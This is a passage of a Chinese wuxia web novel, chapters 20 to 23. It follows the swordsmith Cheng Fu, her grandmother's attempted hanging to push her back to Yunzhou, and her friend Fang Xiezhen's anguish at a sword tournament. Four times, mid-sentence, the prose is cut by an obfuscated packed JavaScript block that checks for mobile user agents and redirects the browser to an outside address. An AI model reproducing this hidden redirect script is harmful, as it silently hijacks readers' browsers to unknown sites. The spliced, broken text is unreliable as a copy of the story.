裴雁晚黑了不少,浑身都是风尘仆仆过后的疲累。才见到程芙,她便扔出手中长剑,语中携了极重的怨念:“给你!我答应给你铸把剑,今日来兑现了!” 程芙接住剑,见剑鞘上雕镂着木芙蓉的纹样,再拔剑出鞘……她耐不住露出笑意来,这柄剑的技艺啊,她可真瞧不上。 20.拒霜(3) 大漠里的夜,一向没什么动静。这处百姓聚居地本就人烟寥寥,虽也有养狗的,但狗也不会无缘无故就叫。 是以方圆百步皆是静悄悄,唯有程芙反复拔剑、归鞘、拔剑的声响。 真是好听。 程芙每每铸完一剑,必然多次行之举,享受美妙的声音,或清脆或浑厚,皆因剑的不同而不同。 乌眸稍闭,程芙迎上裴雁晚的目光,淡淡道:“铸得不好。” 裴雁晚却冷哼:“那你还给我。” “不还。”程芙将剑藏到自己身后,“已经是我的了。” 她心窝里浮着一缕缕热气,下头是咕嘟嘟冒泡的水,约莫是被心火烧热了:“裴雁晚,我没有叫你来。” 裴雁晚面色稍霁,很是无所谓,无论是程芙藏不住的笑和淡漠的表征,亦或是一路行来的风霜,都无所谓:“可是我答应了,要铸柄剑给你。” 蜉蝣剑已熔,蜉蝣剑主决意不再铸剑,而蜉蝣剑主之友却曾许诺,会再铸一柄新剑送给友人。 “我随口一说而已。”程芙说着,又摸了摸手中的剑,请裴雁晚进屋,“真不怎么样,不是什么好剑。” “放屁。”裴雁晚翻了记白眼,说了句好不文雅的话,“那你别笑。” 程芙非要轻轻地笑,双手收起剑:“谢谢。我会好好保养它——阿婆,我朋友来了。” 程阿婆耳朵背,居然才晓得有客造访,这才从厨房慢悠悠晃出来:“朋友?是有客人来了?” 出来一看,见到一个年纪身高都和孙女相仿的女郎,程阿婆不由笑着揣摩:“是小方吗?” 裴雁晚饶有兴味地挑眉,原来这就是程芙的阿婆,原来程芙有个朋友叫“小方”,再想想耳畔的传言闲话,她料到程阿婆语中所指便是方撷真:“阿婆,我姓裴,是程芙的师妹。” 程阿婆热情好客,可也吓了一跳,先端出骆驼奶来,又热了几张烤饼:“家里没什么好东西,只能委屈姑娘——从云州过来这么远,累不累啊?” 而后便是一连串的问答,裴雁晚生得凤眸薄唇,外人看了还真以为她不好惹,当她是个冷冰冰的剑客,实际上她的确不好惹,却很健谈爱笑。 由她的笑声,程芙眺目望向窗外,四四方方的框子圈着一望无垠的夜幕,星河流转、月色皎洁,海云关白日里云浪翻涌,夜间则满天繁星。 没有比此地更好的星夜了,耳畔笑声还在响,程芙忽念及许多往事故人,遂用手肘碰了碰裴雁晚,问道:“我师娘还好吗?” 裴雁晚愣了下,很快反应过来,眉宇笼上一层神秘:“不太好。你走之后,她时常郁郁寡欢。你就应该随我回去。” “好了,”程芙警觉地打断道,“有什么话,改日再说。” 偏偏程阿婆察觉出不对,扒着孙女手臂追问:“什么意思啊,阿芙?你本就应该过段时日回云州,不是吗?” 裴雁晚自知说错了话,原来程阿婆并不晓得孙女的打算,她想赶紧打个补丁,程芙却捂上她的嘴: “是啊,阿婆,我师妹嫌我在海云关住得太久罢了。” 结合往日种种,程阿婆再糊涂,也改抽丝剥茧地理出点儿端倪来了,她立时站起来,面颊微红:“你不打算回云州了,是吗!” 裴雁晚神色大变,赶紧将责任往自己身上揽:“阿婆,我说错话了,程芙没有那个意思……” “你不用骗我。”程阿婆道,“我这孙女每次回来,都是我催着她逼着她,她才肯走!海云关有什么好的,留在这儿能有什么出息!” 然而程芙已决意不追求“出息”,她为阿婆的话生出愠怒和烦躁,但不曾撒出来,只道:“阿婆,我不喜欢云州……” 程芙顿了顿:“我只想和阿婆在一起。我只有阿婆一个亲人了。” 说罢,她示意裴雁晚到外头去,裴雁晚便满怀歉意地匆匆出了门,还不忘将门带上。 程阿婆恨铁不成钢,海云关偏远贫穷,连识字的都没几个,程芙命好,走丢后被澄意山庄捡去,练就一身本领。 这身本事合该驰骋天地,不该困宥于大漠之中啊。 “我一个糟老婆子,根就在这里!你不一样啊!”程阿婆甚少冲孙女发脾气,“我不要你陪我,明日你就和你师妹一道走。” 程芙为阿婆的怒火懵了一瞬,解释道:“可是我不喜欢练剑,也不想功成名就,回去做什么?回去做我不喜欢的事吗?” 程阿婆的气势蓦然颓丧下去,愣愣跌坐回板凳上,她并不十分了解孙女,只知道孙女喜欢吃烤饼、喝白水,穿深色素净的衣裳,因为祖孙二人相处的岁月太少太少…… “那你喜欢做什么呢?”程阿婆追问,已没了方才的铿锵。 “我喜欢陪着阿婆啊。”程芙说得不是全部的答案,她想陪着世上最后一个血亲,却也很想念手里握着锻造锤的感觉。 二者相比,她选择了前者。 “你到外头去吧。”程阿婆揉揉眼角,“叫我一个人想会儿。” 程芙便犹疑地出门。 海云关的夏夜仿佛落了雪,却不像留仙原那样冷,因为那并不是雪,而是皎洁的月华。 “你都听到了。”程芙与裴雁晚一道,坐在家门口的一尊大石头上,淡淡抱怨,“你真多嘴。” 她不加遮掩地发泄出怨气,哪些人是可以发泄的,哪些人则需要用假话来保护,她清楚。 裴雁晚垂眸:“抱歉,我以为你阿婆知道的……你真不回去了?你师娘虽没有郁郁寡欢,可也真的想念你。我们都是。” 程芙脊背挺得笔直,将话锋一转:“剑鞘上的木芙蓉刻得很栩栩如生。” “……谁和你说这个?”裴雁晚瞪她。 “‘莫嫌开最晚,元自不争春。’剑名便唤作‘拒霜’,你觉得如何?” “你脑子遭骆驼踢了啊?” 裴雁晚颇为愤愤地掐程芙一把,只求回到正题上来:“依我说,你便将阿婆接去云州,我澄意山庄还能饿着她老人家不成?云州乃风水宝地,哪里不比你这荒无人烟的地方适宜安度晚年?” 程芙怎会没想过,可是阿婆倔得很,她有时也感叹,不怪白霓裳说她固执,这原是一脉相承的品性。 “海云关也很好,云州看不到这么多星星和这样大的月亮。”程芙笑道。 一拳打在棉花上,裴雁晚稍有泄气,双掌托住腮帮子,眼睛直直看向最远处的地平线:“我们毕竟一起长大的……我舍不得你,想不到你竟舍得我们。” 程芙的心不是石头,难免为感情牌所动,不过她的上下嘴唇是石头,硬得很,今晚就是不说真心话:“我在这里挺好的,挺自由的,不用早起练剑,也不用想着和你比……” “你不用和我比。”裴雁晚投来灼灼目光。 程芙望向她。 若在海云关的夜,必要添件衣裳才不觉冷,程芙虽薄衫加身,却不由自主抱紧手臂,且听师妹说道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206486|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你也不必承担什么责任。剑庐主管,随你做不做。你不做,我另选贤能。可我最好的朋友当真只有你,我的亲人之一也有你……我们山庄里,便没有被你视作亲人的人吗?” 程芙咬唇,她的亲人之一,正在海云关寒凉的夜风里,劝她回到故乡。 她正想说话,便见裴雁晚站起来,发丝随风摇动: “也罢,我也厌恶为人所逼。劝了无用,我差不劝了。我本就只为送剑而来,剑已送到,我不多留,这就踏月归程——往后只管行你所愿之事吧。好可惜,再没有比你更好的铸剑师了。” 谁知话音未落,身后的屋子里便传来“咣当”一声,好似是桌椅碰撞声,师姐妹二人心一惊,纵步往屋里冲。 门一开,却看见房梁上悬了个人影,摇摇晃晃地挂着,程芙大惊失色,忙拔剑出鞘往白绫掷去,接下了倒地的阿婆。 她浑身的气血都在翻涌,头顶都快被掀翻,这是什么愚蠢手段,就为了赶她走,连命都不要了! 祖孙二人当即吵起来,程芙从关切到质问,最后索性捂着脸哭。 她二十几年来几乎没有哭过,流落街头时偷了东西被人打,也仅落了寥寥几颗泪。她是又气又伤心,继而便什么话都不争,仅雕像似的坐在月光下,活像已经死去。 程阿婆投缳自尽未能如愿,这会儿竟没有“事未能成”的失败感,也知道后怕了,手指头颤巍巍的:“阿芙……你不打铁了吗?” 程芙没有理会她。 拒霜剑——拒霜花是木芙蓉的别称——银色的剑身掉在那揉白绫边,盈着清冷弧光,它受过多少次锤炼锻打,经过多高的炉温,程芙皆可以想见。 叮咚、叮咚、叮咚…… 是锤子敲在剑上的声音。 ——往后只管行你所愿之事吧。 ——好可惜,再没有比你更好的铸剑师了。 ——海云关有什么好的,留在这儿能有什么出息! ——阿芙,你不打铁了吗? 程芙将拒霜剑拾进掌心,慢慢捂热剑柄。 * 云州以秋日里满身遍野的红枫著称,一片一片的橙火,热烈灼灼。 在江湖中许久没有消息的水月谷少谷主武撷真将要参加论剑大会,此事一传来,很快便有了议论,尤以今日汇聚在澄意山庄的各派宾客私语最多。 伏光门魏澄死得冤枉,虽说是“误杀”,但到底也是杀,即便武少谷主受了杖刑,也闭门思过一年之久,苏门主也原谅了,却拦不住所有的人言。 不过,毕竟方撷真本人就在看台上坐着,身侧便是她母亲武红英与一众水月谷徒子,倒无人没趣到当众挑衅,方才苏门主还与武谷主互相点头执意呢。 武少谷主的风姿与从前不同了,她才被武红英认回来时,尚还是个愣头青,走路带着不沉稳风,如今瞧着倒稳重了,也不爱笑。 “母亲,”方撷真低声与武红英说话,“我怕我赢不了。” 武红英觑她一眼:“尽力一试即可。你闭关一年多,总要有个结果。你若能有不错的成绩,于你的名声也有助益。” 母亲虽说“尽力一试”,方撷真却为后头的话感到许多压力,仿佛她输了,便是白白闭关,便是一辈子要受人非议。 她甚想与武红英议论,但想了想,终究不敢说,只伸长脖颈,四处寻觅程芙的影子。 和阿芙许久没有联系,不知她在云州过得还好吗? 21.琉璃(1) 友人性情孤僻,不喜热闹,方撷真是晓得的。然而程芙毕竟是澄意山庄甚有名望的徒子之一,论剑术论名声皆是佼佼,莫非澄意山庄便不想推其出来? 好比水月谷,年轻一辈里最优秀的徐剑屏就坐在武红英的另一侧,人在这里,就是水月谷脸面的象征——看,我们有一位如此出色的徒子。 “母亲,我想四处转转。”方撷真征求母亲的同意。 “去吧,莫要跑得太远。”武红英不忘嘱咐,“不要失了礼数。” 水月谷几人赶到云州这一日,恰逢论剑大会揭幕,是以方撷真并无太多时间休整,浑身都疲累,唯有在场中寻找程芙的身影时精神些。 下了看台,方撷真直接拦住一位澄意山庄的男徒,略施一礼:“这位师兄,请问程芙程大侠,身在何处?” 那男徒一怔,道:“程师姐初夏便回老家了,说是不回来了。师妹寻她有事?” “不回来了?”方撷真瞠目,“什么叫做‘不回来了’?总得有个理由。” 男徒又道:“程师姐的私事,我也不十分清楚。” 不回来了,不回来了…… 什么事能叫一个人改变人生轨迹?必定是极重要的事。而方撷真被剔除在“极重要的事”之外,连知情权都没有。 难怪她出关后寄来云州的信从没有回音,原来如此啊…… 放在从前就罢了,那时,程芙也许不把她当成知心朋友,可是她在程芙面前哭过,她们过坐同一只小舟,在同一条河里放过灯,程芙还祝福她理想成真——历此种种,她依然没有资格得知程芙身上的变故,是吗? 方撷真扶了扶额头,坚持追问:“她是生病了?亦或遇见什么坏事?” 若是生病、受打击,手不能写,心不能思,倒情有可原,方撷真不怪程芙。 “只听闻是家里的事情。程师姐有什么事,基本都不和我们说的。”男徒很为难,他和程芙本就不相熟。 “你与她熟悉吗?” “不算太熟。” 方撷真咬唇,向男徒道过谢,逃也似地回了看台。 今日的云州人集如云,耳畔少不了笑声,方撷真一开始也在笑,因为今日她便能见到朋友,怎知程芙又一次悄无声息地抛开了她,连封信都没有。 “少谷主?”徐剑屏见方撷真神色不对,担忧地问了一句,武红英亦是拍了拍女儿,问她有何不妥。 方撷真为误杀魏澄一事付出极大代价,几十杖落下来,打得她口吐鲜血、昏迷数日,许久才能下地。后又闭关夜以继日地修炼,一日恨不得只睡两三个时辰,虎口握剑的地方都磨破,更是为了学习水月谷最基础的秘术苦心研读典籍,眼睛也熬得不如从前明亮。 这一切,都是因为心里有未报的仇恨支撑她,若苦得熬不住了,便想一想方虹手掌落在头顶的温暖触感,又或想一想和程芙一道放河灯的晚上。她放了河灯,虔诚地许愿,连程芙也为她祝福,又有方虹在天上看着,应当能够达成目标的吧? 方撷真便是靠着亲人和友人的一点暖意作抚慰,才走到今日。 倘若那些暖意里,有五成都是海市蜃楼般的泡沫,方撷真倒想好好笑一场。 “真儿,无碍吧?”武红英为女儿的异常忧虑,俯首低声问,“发生何事了?” 方撷真摇了摇头,强装出无恙:“秋天里,风吹在身上冷。” 武红英便替她拢了拢外衫,又用掌心试她脸颊的温度:“还真是冰冰凉凉的。你我不要干坐着,且随我四处走走——我看见萧大侠了,带你见见。” 方撷真人随着母亲拜见了几位,心却乱飞着,时高时低,时而落在身后,直至武红英因她的魂不守舍将脸冷下来,她才回神。 “有什么事,之后再说。今天是带你见世面的时候,不要失魂落魄。”武红英道。 方撷真也曾在数日内就见到许多江湖人,那是人们冲她母亲武红英的薄名,到水月谷庆贺少谷主归位。 而那日之景与今日澄意山庄的盛景比,简直不值一提。 什么叫百年大派、正道名门啊,凡是收到请帖的,几乎都不拒绝,武红英随手一指,无论什么方向,必有名震江湖的前辈高人。 母女二人伫立在簌簌秋风里,心里都不是滋味,且默契地想到同一件事。 ——待水月谷振兴之日,必也能有这般光辉。 * 论剑大会为分组比赛,层层晋级,先后诀出三十二甲、十六甲、前八甲、前四甲,最后分出魁首。凡是进过三十二甲的,皆为往后一段时日江湖热议的对象,名声自是随之增长;而凡是拿过魁首的,无一例外,皆是注定留名江湖史的豪英。 “稍后有揭幕之战——”徐剑屏屏气凝神,满心的期待,“裴庄主是主办方掌门,不打正赛,那她会参与揭幕之战吗?” 武红英睨这后辈一眼,耐心解释道:“不出意外的话,应当会。” “那和谁来比呢?萧大侠?长孙阁主?——谷主,您有兴趣吗?” “我年岁大了,你们年轻人去闯吧。剑屏,真儿,你们不妨一试。” 徐剑屏呵呵笑了两声,很不好意思:“让我打头阵,真有点难为情。我是晚辈,不好出风头。” 一旁的方撷真恍若未闻,仍在为程芙耿耿于怀,为什么不告诉她?写封信有那么难吗?她烦躁地扣着指甲边缘的死皮,疼得钻心也全然不知,越想就越是难受憋闷,眼泪都恨不得掉下来。 “母亲,我闭关期间,和程大侠有过书信来往,您可记得?”方撷真嗓音颤抖,她必须问一问。 “问下去。”武红英自是记得,她很支持女儿与程芙的来往,澄意山庄是极好的人脉资源。 “在那之后,她可还给我写过信?”还活在这世上的人,除了程芙,不会有谁给方撷真写信。 武红英细细想了想:“并未收到。怎么,你魂不守舍与程芙有关?” 方撷真不置是非,问道:“我两耳不闻窗外事许久了,向人询问也不得结果,母亲可知——” 音未落,便听一浪浪的山呼海啸声,原来擂台上已有人持剑而立,正是裴庄主。 她说了什么场面话,方撷真一个字都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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奈何她实在不敢,她怕程芙又说灰心落寞的话,方撷真,你不要把我看得太重,方撷真,这是我自己的事,方撷真,我们隔得太远,不方便…… “少谷主?”已经走远的徐剑屏折返回来,催促着方撷真离开,她总觉得方撷真出关前后的性情不一样了,“我们走吧。大家都散了。” 方撷真随徐剑屏一起走了。 她放弃了质问程芙,因为她暂时没有勇气,兴许需要一些时间,才能叫她的勇气鼓囊起来。 方撷真追上武红英,沉默着跟在母亲身侧。 “你看到程芙的本事了,你们既是朋友,就多学学她。”武红英永远不忘鞭策女儿上进,“你该努力追逐上她。” 类似的话,方撷真近年来听过无数次,比听武红英夸赞她这个亲女儿的次数还要多。 一开始,她还会驳两句人各有志、人各有路,说程芙表面风光,背地里亦艰难磨练,然而有的话听过太多,她便不想反驳了: “我知道,母亲,我会追上她。” 22.琉璃(2) 天黑之后,澄意山庄里的热闹仍没有停。 因为是武林盛会,形形色色的人聚在一处,或扯些闲话,或比武论高下,何况山庄各景实在是美,单单赏景也很不错,凡此种种,闹得一刻也安静不下来。 “少谷主,好半天了,你都是这样,晚饭也不吃。”湖畔,徐剑屏落后方撷真半个身位,小心翼翼地试探。 “吃不下。”方撷真毫无胃口,一心都是程芙的态度。 徐剑屏头皮酥酥麻麻的,生怕说错半个字。 她本就仅是个普通徒子,在水月谷举目无亲,没有可靠的倚仗,少谷主方撷真犹如她的“上司”,可不得谨慎地察言观色吗? “澄意山庄里风景极好,我陪少谷主逛逛吧?谷主也是这个意思。”徐剑屏心里对方撷真不仅有畏惧……还有一丝看不起。 她至今都记得魏澄死后,方撷真落荒而逃的那个眼神,即便方撷真之后回来了,将责任担下,可徐剑屏无法完全消除自己的意见。 身后,便是澄意山庄为宾客们腾出来的院落居所,分明灯火通明,方撷真却觉得黑得像鬼影:“好,那就转转吧。” 两人便往远处走,说是“赏景”,实则没有谁的心思全然在风景上。 徐剑屏倒还好,她没有心事,还见到了几位敬仰的侠士,自是轻松愉快,唯一需要担忧的,便是武红英的吩咐——陪方撷真散散心。 ……真不知澄意山庄为何种这样多的竹子与松树,清冽的香气随秋风而来,钻入肺腑,凉津津地摧蚀的方撷真心肺。 兴许是被吹得清醒了些,她陡然驻足,问道:“徐剑屏,你有朋友吗?” 徐剑屏没反应过来,好一会儿才答:“有的。” “你们吵过架,起过龃龉吗?” “牙齿和舌头都会打架,遑论是人与人。” “……是你提出和好的?”方撷真唇齿踌躇,声若蚊蝇又满怀期待地将问题道出。 徐剑屏揣摩方撷真的用意,若猜得不错,少谷主也许是为程芙烦心。 因为这偌大的澄意山庄,唯有程芙和方撷真有羁绊。 依徐剑屏所想,当然是错的人低头,但她不晓得程方二人谁是错的,甚至不能确定令方撷真烦心的人到底姓不姓程。 于是徐剑屏心虚道:“不是我,是对方。凭什么要我来说呢?” “罢了,”方撷真睨她一眼,“不必再说。” 一个人说的是真话还是鬼话,方撷真已有了能分辨几成的眼力。 她是不指望听见徐剑屏的真心话了。 方撷真便靠自己想,她和程芙,当然是程芙做得不对,没有拿她当真心朋友——可是她反复多次确实过了啊,程芙的答案几乎都一样,她拿她当真朋友。 继续往前走,方撷真也继续思虑着,会不会是分别的时间太久,致使程芙不再将她放在心里很高的位置? 这便是人们常说的“疏远”。 因为久久不见,人与人便会疏远。 若真如此,方撷真就要嘲笑自己蠢了,她待程芙的心从未变过,数年以来,程芙一直是她最好的朋友,可是她却…… 会不会,程芙待所有人都是一视同仁的漠然? 对啊,程芙那臭脾气,根本不喜欢笑,能交到什么朋友? 这样倒好了,方撷真无意中锻炼出自欺欺人的本领,高兴许多——程芙冷漠地对待所有人,不把任何人当例外。 然而,方撷真立时意识到自己的无意有多可笑,那个时候……程芙待小师妹是很亲昵的吧?弯着腰,笑着,嗓音柔得能滴出水。 凭什么?凭什么? 凭什么! “……再摔个嘴啃泥,掉河里喂鱼去!” “你的嘴也太讨厌了,不过说得不错,笑死人了,哈哈哈……” 方撷真止住脚步。 小竹林另一头,似乎有三四人在说笑,笑声里有一道脱颖而出,入了方撷真的耳。 是轻轻的笑声,快乐的、舒心的,也是方撷真陌生又熟悉的。 她熟悉是那声线,陌生的是程芙从未对她这样笑过。 ——程芙正在小竹林另一头,欢笑。 小竹林不太茂密,七八根竹子罢了,是以借着月光,可以清楚地看见另一头都有谁。 定睛一望,那个穿深蓝色衣衫、腰负长剑,头发高束,此刻笑着的女子,可不就是程芙。 原来程芙也会这样笑…… 徐剑屏不知方撷真心中所想,又仰慕程芙已久,几乎是不由自主地穿过小竹林,惊喜道:“程大侠!” 她回头又道:“少谷主,程大侠在这儿!” 方撷真藏无可藏,硬着头皮走上前去,她清晰地看见程芙瞳孔一寸寸缩紧,怎么,是心虚吗?没想到她会出现? 另外,她很不理解一件事,澄意山庄的庄主裴雁晚,也在这群笑笑嚷嚷的人之中,毫无威严可言。 ——武红英便不这样自降身份,在徒子面前从来都是不苟言笑的模样。方撷真听从武红英的教诲,摆出“少谷主的做派”,也学着不苟言笑,很快便在水月谷建立起了自己的威望。 这令她受益匪浅。 水月谷徒子见到她们母女,通常会敛干净表情,道一声“谷主”“少谷主”,再匆匆离去。 难道澄意山庄不是这样? 顶着几道或熟悉或陌生的视线,方撷真五味杂陈地抱拳,低声道:“裴庄主,程大侠……夜间秋风凉爽,几位出来赏月吗?” 程芙的目光落在她拳头上,愣了愣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229914|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是,赏月。云州的秋月,别处怕是比不上。” 今日是裴雁晚头一次见到方撷真,暗叹这姑娘和武红英生得真是像:“二位在我们山庄可还习惯?若有什么事,只管告诉我。” 这是客气话,方撷真哪能事事都找人家,譬如此时的心事,就是万万不能说的。 她快速睨一眼程芙,见对方神色平静,更是恼火,竟不知说什么,只能病急乱投医:“……我想向裴庄主讨教剑法。” 裴雁晚答应得痛快,方撷真输得更痛快。 痛快到裴雁晚都来不及反应,还以为是自己出手太重。她连忙弯腰捡起被击落的翠微剑,还与剑主人:“我失了分寸了。只是武少谷主——身子不适吗?出剑时似乎心有旁骛。” 方撷真接过剑,对这场极为迅速的惨白没什么感悟,更没有学到什么东西,淡淡道:“确实太累了。多谢裴庄主赐教。” 音方落,方撷真便看见程芙和同门们交换了个眼神。 随后,澄意山庄的几人心有灵犀地达成了一种显而易见的共识——剩下的人飘然而去,独留程芙在此。 徐剑屏本想追裴雁晚而去,反正都是一流的剑客,向谁讨教不是讨教,敬仰谁不是敬仰。 可惜她还记得自己是水月谷的人,又后知后觉自己的冲动使方撷真陷入尴尬境地,遂遗憾又默默地退远,只求方撷真不要找她秋后算账。 夜风还在吹。 程芙又不能挖出方撷真的心看一看,故而不知短短半日里,友人经历了多少煎熬扭捏的思绪。 但她最擅长的事之一就是察人神色、猜人想法,加之方撷真方才万分知礼的举动、痛痛快快的战败,程芙怎能不怀疑。 “方撷真,”程芙上前一步,眼眸微垂,“你怎么了?” 她一开口,所有的疑问,都遁入虚无,拽也拽不出来,方撷真竟察觉到了一丁点的关怀,旋即心窝就不争气地热了。 可是再想想程芙那陌生的笑声,方撷真索性直接拔剑,沉声道:“换你和我比。” 程芙蹙眉,眸中疑惑翻滚:“你该先收拾好心情。” “和我比!” 一年多以来,这个以种种方式出现在方撷真脑海里的女人,无论是她自己想起唯一的朋友,还是武红英拿来作比较,要她向程芙攀登……方撷真就没有一日不念起她! 武红英总说,真儿,你不羡慕她吗,你不想和她一样名扬四海吗,你不想超越她吗,你不觉得自己与她差得太远吗…… “程芙!”方撷真嘶吼着道出命令一般的话语,眼眶泛酸,“拔剑啊!” * 远处,站着个穿青袍的女人,面容藏在风帽下。她没有左臂,手臂从肩头利落地断开。她在望程芙的方向凝望。 23.琉璃(3) 程芙不可能拔剑。 她夜游山庄的确带了剑,那是因为关系尚可的师妹向她请教,她不好推脱。可是自从她明了了本心,知道自己一生所求不在剑道上,便不再勤加习剑。 再者…… 她不知方撷真的怪异从何而来。 特别知礼,特别疏远,特别愤怒。 这是怎么了? 一抹寒光落在鼻尖上,程芙从容伸手,两指夹住翠微剑的剑刃,稍加发力:“方撷真,冷静下来。这里是澄意山庄,不是你发泄情绪的地方。” 方撷真的身体晃了晃。 程芙又望向徐剑屏,唤道:“徐姑娘,她怎么了?” 被唤到名字的徐剑屏,甚想找个地缝钻进去:“我不知道啊……” 几乎可以笃定,方撷真身上发生了某种巨变,程芙虽不知背后因由,却很乐意一问,她松开手,温声道:“我们找个地方说话。烦请徐姑娘一起吧。” 必得叫上徐剑屏,因为方撷真、徐剑屏同出一门,说不准徐剑屏远比自己更了解如今的方撷真,程芙不想在这种事情上孤军奋战。 万一出什么事,徐剑屏还能搭把手。 水月谷的两位便跟随程芙,往一条小径上走。 徐剑屏很懂眼色,不是一味紧紧跟着,而是在离程方二人十几步的地方驻足,装作赏景游心,并不往两人的方向看。 此地是澄意山庄一处较为僻静的所在,哪怕在侠士云集的今日,也无人探访。竹林深深,唯独月光可以充作照明,然而月光太凄惨了,照得这秋夜更凉。 “你有心事,大可向我倾诉。” 程芙用方撷真昔日对她的话,来作开头,即使她不擅长安慰人,却愿意为了朋友尽力一试:“……受委屈了?” 方撷真蓦地鼻尖泛酸,是啊,她受委屈了,好大的委屈。 ……罚禁闭的那一年多里,她住在在水月谷的后山。 除了武红英和一个照顾她起居的老妇,便没有人和她说话。她抗拒和生母交心,又和老妇聊不到一处,凡是有心事了,便幻想朋友们环绕身边的场景,甚至还自言自语地解闷。 孤独是最熬人的事。 但是孤独便罢了,方撷真还要承受武红英一次次拿她和程芙作比,她倒是不将程芙视为对手,然而时间一久,执念便种子似的扎根了。 问过她是否受委屈的人并不少,骆都城里的朋友们,她家铺面附近卖菜的大娘,养母方虹生母武红英……都以这种方式关怀过她。 今夜程芙一问,方撷真便想起那些离她远去的人,还怀疑程芙是否已不视她为友。 “程芙……和我比剑吧!和我比剑吧!” 方撷真近乎祈求,她想赢程芙一次,她从来没有正儿八经地和程芙比试过。 程芙眉心浮上一点慈悲,眼前的女郎仿佛已在崩溃边缘,随时都能坠入深渊。 她屏住气,小心翼翼握住友人的手腕,将体温让渡出去:“冷静下来,方撷真。深呼吸。” 方撷真闭了闭眼,深吸几口气,她像是在哭,因为牙关是颤颤的、眼睛是泛红的,又像在笑,唇畔的确是向上的弧度。 有桂花香气入肺,方撷真的面色平静了一二分。 由此,她得以看清程芙负在腰间的剑,虽也是银光璀璨,却千真万确不是蜉蝣剑。 这令她不安,一个有惯用剑的剑客,通常不会更换武器,否则,必是遇见了什么事。 “你的蜉蝣剑呢?哪里去了?”方撷真本能地感到紧张。 “熔掉了。”程芙答得云淡风轻,像在叙说一件寻常琐事,“这不重要。现在我更想问你的情况。” 方撷真没听见似的,追问道:“为什么熔掉了?这把新剑是你自己铸的?不像你的水平啊。” 程芙想尽快解决友人的疑问,才好探清方撷真的心事:“是朋友铸来赠我的。好了,不要再讨论我了,你……” “罢了。” 罢了? 程芙眯眼,以确认方撷真的唇形,的确是在说“罢了”二字。她心里长了东西,柔若无骨地抠挠着她,令她浑身都痒,却又不得治法:“你似乎变了。” 以前的方撷真不会说“罢了”。 以前的方撷真只会缠着她一遍遍问,阿芙,你是不是不把我当朋友啊。 “我无话可说,先回去了。”方撷真背过身,抬手揉了揉眼眶,“程大侠不当我是朋友,那便罢了。祝你再夺佳绩吧。” 眼看着方撷真抬腿要走,程芙一个箭步上前,将人拦住。她回忆和方撷真的上一次来往,那时方撷真杀了魏澄,跑来云州找她散心,回到水月谷后还给她写了一封信,信里情真意切,还叫她珍重。 所以一定是两人分别的这一年里发生了什么。 “是不是有什么人,和你说了什么话?或者是你经历了什么?” 程芙从未像这样缠着一个人,因为她没有交过敏感扭捏的朋友。或者说,在她为数不多的朋友里,根本没有敏感扭捏的。这便让她缺少了向朋友打破砂锅问到底的经验。 “方撷真,到底怎么了?” 天心月圆,方撷真尽量不去看程芙的眼睛。 其实她未见过程芙为了自己着急的模样,好生新鲜,因此要强行忍着,才能不抬头。 她发觉了程芙的焦急,据这焦急猜测自己在程芙心里应当还算是朋友,但她暂时掏不出勇气询问,生怕得到否定的回答,哪怕只有一成的可能,她也不愿意冒险。 是以方撷真只能嗫嚅一句:“过两日再说吧……我没事,你不用担心我。” 程芙不再问了。 可她却走向徐剑屏,任方撷真独自默默地走远后,才问道:“徐姑娘,你可知你们少谷主为何会是这个样子?方才当着她的面,你或许不敢直说,现在她走了。” 徐剑屏哪能晓得少谷主的事,头摇得像拨浪鼓:“少谷主闭关期间——” 她没有说成是“禁闭”:“少谷主闭关期间,我与她没有见过面。那段时间,少谷主只能和我们谷主,以及一个照顾她的老妇人见面。程大侠,我是真不知道。” 望着徐剑屏诚挚的神色,程芙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232429|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想是再问不出什么来了,唯有嘱咐道:“我在澄意山庄,还算说得上话。倘若有事,可以来找我。” 徐剑屏谢过程芙,连忙逐方撷真而去。 * 澄意山庄为水月谷侠士安排的住处,毗邻一处小湖。 湖面泛着清冷月光,好似留仙原上的雪色,方撷真还记得与一起到雪窝里抓兔子,程芙没站稳,栽进雪地里,她想笑又不好意思笑,憋得肚子发痛。 “少谷主,你在这儿啊!”说话的是方撷真的师妹,眼睛亮亮的。 “有事儿?”方撷真板着脸,不知师妹为何有此一言。 